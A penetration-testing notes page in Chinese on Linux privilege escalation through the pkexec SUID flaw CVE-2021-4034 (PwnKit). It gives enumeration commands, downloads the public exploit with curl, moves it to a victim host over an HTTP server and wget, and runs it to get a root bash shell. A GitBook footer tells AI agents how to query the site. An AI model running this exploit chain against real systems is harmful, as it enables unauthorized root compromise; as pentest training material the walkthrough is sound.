> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-pkexec-linux-privilege-escalation.md).

# SUID（Pkexec）- Linux 权限提升

## 这是什么

SUID 二进制文件以其所有者的权限运行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell 或执行攻击者控制的代码。此特定页面重点介绍 **SUID（Pkexec）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

{% hint style="info" %}
该 **CVE-2021-4034** 漏洞（PwnKit）在 **pkexec** 的 **polkit** 中允许本地 Linux 权限提升。通过使用错误的参数验证，攻击者可以以 root 权限执行代码。这个严重漏洞很容易被利用，影响许多发行版，并且需要紧急更新 polkit。
{% endhint %}

{% embed url="<https://github.com/ly4k/PwnKit>" %}

### 利用 SUID 二进制文件的步骤

**识别已启用 SUID 位的文件**

要搜索带有 SUID 位的文件（允许以所有者权限执行，通常 `root`），请使用以下命令：

```bash
find / -perm -4000 2>/dev/null
```

在结果中，识别出存在漏洞的二进制文件 **`pkexec`**.

<figure><img src="/files/9d663cbe32bb18fa220c20d917fb3dda191de86c" alt=""><figcaption></figcaption></figure>

## 漏洞利用

**在攻击机上下载利用程序**

在攻击机上，下载利用脚本：

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

**将利用程序传输到受害机**

要传输利用程序，请在攻击机上运行一个简单的 HTTP 服务器：

```bash
python3 -m http.server 80
```

在受害机上，下载文件并授予执行权限：

```bash
wget http://10.10.10.10/PwnKit
```

```bash
chmod +x PwnKit
```

<figure><img src="/files/12c7ebc9ca0c9662332a26bf76300d34a7b183b1" alt=""><figcaption></figcaption></figure>

运行利用程序

文件准备好后，你可以以 root 权限执行命令。例如：

* 要显示用户 ID（`id`):

```bash
./PwnKit '<command>'
```

```bash
./PwnKit 'id'
```

<figure><img src="/files/ee54c9c36b898d2e9867207a5b5a6c153805e854" alt=""><figcaption></figcaption></figure>

* 要获得一个具有 root 权限的 bash 会话：

```bash
./PwnKit 'bash -p'
```

<figure><img src="/files/19520063f567b6894b3c07595b2aad01f62b4a5c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-pkexec-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
